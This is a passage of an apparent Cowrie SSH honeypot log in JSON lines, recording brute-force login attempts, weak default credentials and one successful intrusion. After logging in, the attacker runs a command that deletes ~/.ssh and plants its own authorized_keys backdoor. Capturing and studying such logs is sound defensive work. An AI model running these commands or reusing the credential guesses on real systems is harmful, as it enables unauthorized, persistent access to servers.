{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b8:6c:92:a5:16:16:1e:60:b4:28:e8:df:bf:0a:b8:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaX/u8L9s7cNcCOLpMKu+pfN6+kWun+Kq9Jfbh4LrL58C+HyXrXHBDpcbv0+ztxvXme/a2uk3u2zoqzHiPmP5jeX0XBQ5jfbHGH80SMcmR6v3dldSslnh0qY0hRpCs2aR+hVa/OmfSH3narvTSRj2ZDmCQhakUkRMuokbYx7Hr5TNVG2JMvBqC5hSA8/Bq2oBBEAU8hsLq5Kl3yU8tmEWyLJFkAWNekMDuTjkQ0R6W3qiAc7hnOLnsF2ByuGQb91Rv4TSTGfJAP5+PD6pGVkg+4Ek3GPXgP4NqvFmTqAq6t3q8sLWjT+9FCbCVpj2m7d8ZHsmPCrIwTuJrtYKOpzr9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b8:6c:92:a5:16:16:1e:60:b4:28:e8:df:bf:0a:b8:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:58.246019Z","src_ip":"194.42.205.100","session":"9335cdfc5b7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b8:6c:92:a5:16:16:1e:60:b4:28:e8:df:bf:0a:b8:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaX/u8L9s7cNcCOLpMKu+pfN6+kWun+Kq9Jfbh4LrL58C+HyXrXHBDpcbv0+ztxvXme/a2uk3u2zoqzHiPmP5jeX0XBQ5jfbHGH80SMcmR6v3dldSslnh0qY0hRpCs2aR+hVa/OmfSH3narvTSRj2ZDmCQhakUkRMuokbYx7Hr5TNVG2JMvBqC5hSA8/Bq2oBBEAU8hsLq5Kl3yU8tmEWyLJFkAWNekMDuTjkQ0R6W3qiAc7hnOLnsF2ByuGQb91Rv4TSTGfJAP5+PD6pGVkg+4Ek3GPXgP4NqvFmTqAq6t3q8sLWjT+9FCbCVpj2m7d8ZHsmPCrIwTuJrtYKOpzr9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:58.249667Z","src_ip":"194.42.205.100","session":"9335cdfc5b7b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:f3:4a:9b:c1:71:f5:2f:1b:40:e9:7d:e4:91:0b:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClNuqyQfXyUf1vQITy/dNM/T1j0a2BmtzlqJOLfSttq8ZGxCIWDjpX/VR8uAkkPRYRd1QZhzbFwKsNpi//rDoEzAWu4KTeh3Tvxezi/0J3sM7fX4x+83EdFsLE++Zenar0F5hveAGHioYEcUiWp96y6aUWd2zv7dUPSU8bd9edtYybXSp2pUAbG6CS6EtL71QIrz9a6Ls987TdivyL7i82qUo8RAlpkNcKweesmr8/hYTxh7qUXuoiKyD4c20gHzwa3cRIimrO3eHbdYHRA5hFjYDiZTLywZg61COhVCfQQgjqXVWeXdTMbTrT5dZ1PRwAQhJYef/GfDAYjiq60qFD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:f3:4a:9b:c1:71:f5:2f:1b:40:e9:7d:e4:91:0b:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:58.365267Z","src_ip":"194.42.205.100","session":"9335cdfc5b7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:f3:4a:9b:c1:71:f5:2f:1b:40:e9:7d:e4:91:0b:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClNuqyQfXyUf1vQITy/dNM/T1j0a2BmtzlqJOLfSttq8ZGxCIWDjpX/VR8uAkkPRYRd1QZhzbFwKsNpi//rDoEzAWu4KTeh3Tvxezi/0J3sM7fX4x+83EdFsLE++Zenar0F5hveAGHioYEcUiWp96y6aUWd2zv7dUPSU8bd9edtYybXSp2pUAbG6CS6EtL71QIrz9a6Ls987TdivyL7i82qUo8RAlpkNcKweesmr8/hYTxh7qUXuoiKyD4c20gHzwa3cRIimrO3eHbdYHRA5hFjYDiZTLywZg61COhVCfQQgjqXVWeXdTMbTrT5dZ1PRwAQhJYef/GfDAYjiq60qFD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:58.371542Z","src_ip":"194.42.205.100","session":"9335cdfc5b7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":35142,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4ee1d8c3bce","protocol":"ssh","message":"New connection: 103.158.40.65:35142 (159.203.135.109:22) [session: c4ee1d8c3bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:58.413661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:58.419071Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:58.424361Z","src_ip":"181.97.227.163","session":"a3173699c9fb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:51:9b:5a:23:7d:e1:4f:d7:ac:f2:52:22:57:8c:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBzsehDZLqUee6pE09eS9RhIuK3sKAXW1SxGjqPYhJXZnoFJZ+JtRHvL5g2VBOa9TmHiOi4Izcwzdts1RrWwwSW5Ttd9XSTQYZrwCSxp7Ew7WKCThBeUdf6hBss8ASYHe/ZYq2pJUMtTgKyH0WDYqi5DCRJXZq3RjS/eAYiWx3rQUzGRHaVTJRaKoMvJJTfKBGOIpsqMKm646g2+QTTJHqDprmajU6P1YCQ+WNwz1F/WwR3Na0BGw6tlTR+0oSmwfbo4pAIOPWqLqbChwIjVwg9fBCjJJFsnyAzHrew8WHw5zIKALmj7qxqhGcAGsrOsQOGUjWwKxEWCnXgWkZHU3z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:51:9b:5a:23:7d:e1:4f:d7:ac:f2:52:22:57:8c:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:58.488515Z","src_ip":"194.42.205.100","session":"9335cdfc5b7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:51:9b:5a:23:7d:e1:4f:d7:ac:f2:52:22:57:8c:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBzsehDZLqUee6pE09eS9RhIuK3sKAXW1SxGjqPYhJXZnoFJZ+JtRHvL5g2VBOa9TmHiOi4Izcwzdts1RrWwwSW5Ttd9XSTQYZrwCSxp7Ew7WKCThBeUdf6hBss8ASYHe/ZYq2pJUMtTgKyH0WDYqi5DCRJXZq3RjS/eAYiWx3rQUzGRHaVTJRaKoMvJJTfKBGOIpsqMKm646g2+QTTJHqDprmajU6P1YCQ+WNwz1F/WwR3Na0BGw6tlTR+0oSmwfbo4pAIOPWqLqbChwIjVwg9fBCjJJFsnyAzHrew8WHw5zIKALmj7qxqhGcAGsrOsQOGUjWwKxEWCnXgWkZHU3z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:58.492599Z","src_ip":"194.42.205.100","session":"9335cdfc5b7b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:e8:82:1e:cc:0d:6f:34:60:6a:fc:bc:f5:4c:e6:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK59VbFEON5Hcg/LgE+fJx97WgyGayiR+0RQsosIm67OzNgGof6wALLRd11J/x7Vq2hua5iugpVfn7BdXHIRBrQp6BgFmV0Bf8vytjUV+fui0bWRaqZzZWOA6n8ZSvshAsvshOUoSf1GjPAIIldEfTclz1sWWraGeNKMcAYmpuoILMXi5qrBjE4bih+Z/bR9ihJTctMOf0AstGy96NwTEhx6qH/VIMfKAfjZb1B6oBgfd95AX8KzEQmHsbbZGCEB1jDSAAA+XllgBlX8Tvajjt22bb8tz1UwEXIlM/g4/wRcBILOgQK5jLdKpGuzlVi9yg5LxjDh1mZDQVmSTBym6F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:e8:82:1e:cc:0d:6f:34:60:6a:fc:bc:f5:4c:e6:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:58.608748Z","src_ip":"194.42.205.100","session":"9335cdfc5b7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:e8:82:1e:cc:0d:6f:34:60:6a:fc:bc:f5:4c:e6:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK59VbFEON5Hcg/LgE+fJx97WgyGayiR+0RQsosIm67OzNgGof6wALLRd11J/x7Vq2hua5iugpVfn7BdXHIRBrQp6BgFmV0Bf8vytjUV+fui0bWRaqZzZWOA6n8ZSvshAsvshOUoSf1GjPAIIldEfTclz1sWWraGeNKMcAYmpuoILMXi5qrBjE4bih+Z/bR9ihJTctMOf0AstGy96NwTEhx6qH/VIMfKAfjZb1B6oBgfd95AX8KzEQmHsbbZGCEB1jDSAAA+XllgBlX8Tvajjt22bb8tz1UwEXIlM/g4/wRcBILOgQK5jLdKpGuzlVi9yg5LxjDh1mZDQVmSTBym6F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:58.612609Z","src_ip":"194.42.205.100","session":"9335cdfc5b7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:58.643295Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:95:81:11:08:30:8c:3d:81:82:42:b0:84:c1:91:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/JNqnYo4zmnNzPxxvLVwj0opdsgF7mncWMuKYMXYlGpYSnJGdKSWXqkFDLWJxlG+KBqG4oANIShmgsq5HuerYDUDOChFVK9d+ExH1oUahRxJSmNJ+HoZF5eQaThTmKCxYz0UEIa1MbDcdfIPi8bCu1R2bmwcUfC6so0046OXa7X7WsHiGjbz4jyFVo67VP15eYRFkTXNvEBeC3Cxknpjz5HGLkoXwSGn5ZnP0IDc+OsYFmAm5g7ubdzxYv+3lSozARG9H+alTTeFblXbOJ0/hAgEnB+qbRfoFoWh5kXV5eRh3UD1dQi7rL1lTdF/PAQgWcuVYHGRcEAX1fqiRsJMj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:95:81:11:08:30:8c:3d:81:82:42:b0:84:c1:91:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:58.731151Z","src_ip":"194.42.205.100","session":"9335cdfc5b7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:95:81:11:08:30:8c:3d:81:82:42:b0:84:c1:91:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/JNqnYo4zmnNzPxxvLVwj0opdsgF7mncWMuKYMXYlGpYSnJGdKSWXqkFDLWJxlG+KBqG4oANIShmgsq5HuerYDUDOChFVK9d+ExH1oUahRxJSmNJ+HoZF5eQaThTmKCxYz0UEIa1MbDcdfIPi8bCu1R2bmwcUfC6so0046OXa7X7WsHiGjbz4jyFVo67VP15eYRFkTXNvEBeC3Cxknpjz5HGLkoXwSGn5ZnP0IDc+OsYFmAm5g7ubdzxYv+3lSozARG9H+alTTeFblXbOJ0/hAgEnB+qbRfoFoWh5kXV5eRh3UD1dQi7rL1lTdF/PAQgWcuVYHGRcEAX1fqiRsJMj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:58.735088Z","src_ip":"194.42.205.100","session":"9335cdfc5b7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:58.851205Z","src_ip":"194.42.205.100","session":"9335cdfc5b7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"3edc4rfv","message":"login attempt [ubuntu/3edc4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:59.229013Z","src_ip":"181.97.227.163","session":"a3173699c9fb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin2019","message":"login attempt [admin/admin2019] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:06:59.565907Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:00.083903Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:00.087685Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:00.092101Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:00.320039Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:00.428769Z","src_ip":"181.97.227.163","session":"a3173699c9fb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:00.809785Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:00.813728Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:01.042100Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:01.045968Z","src_ip":"103.158.40.65","session":"c4ee1d8c3bce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":36058,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a8e875925cd","protocol":"ssh","message":"New connection: 103.158.40.65:36058 (159.203.135.109:22) [session: 8a8e875925cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:01.266018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:01.270988Z","src_ip":"103.158.40.65","session":"8a8e875925cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:01.493476Z","src_ip":"103.158.40.65","session":"8a8e875925cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:02.419147Z","src_ip":"103.158.40.65","session":"8a8e875925cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:03.639871Z","src_ip":"103.158.40.65","session":"8a8e875925cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":36752,"dst_ip":"159.203.135.109","dst_port":22,"session":"e92dc5379f7e","protocol":"ssh","message":"New connection: 103.158.40.65:36752 (159.203.135.109:22) [session: e92dc5379f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:03.846868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:07:03.857046Z","src_ip":"103.158.40.65","session":"e92dc5379f7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@o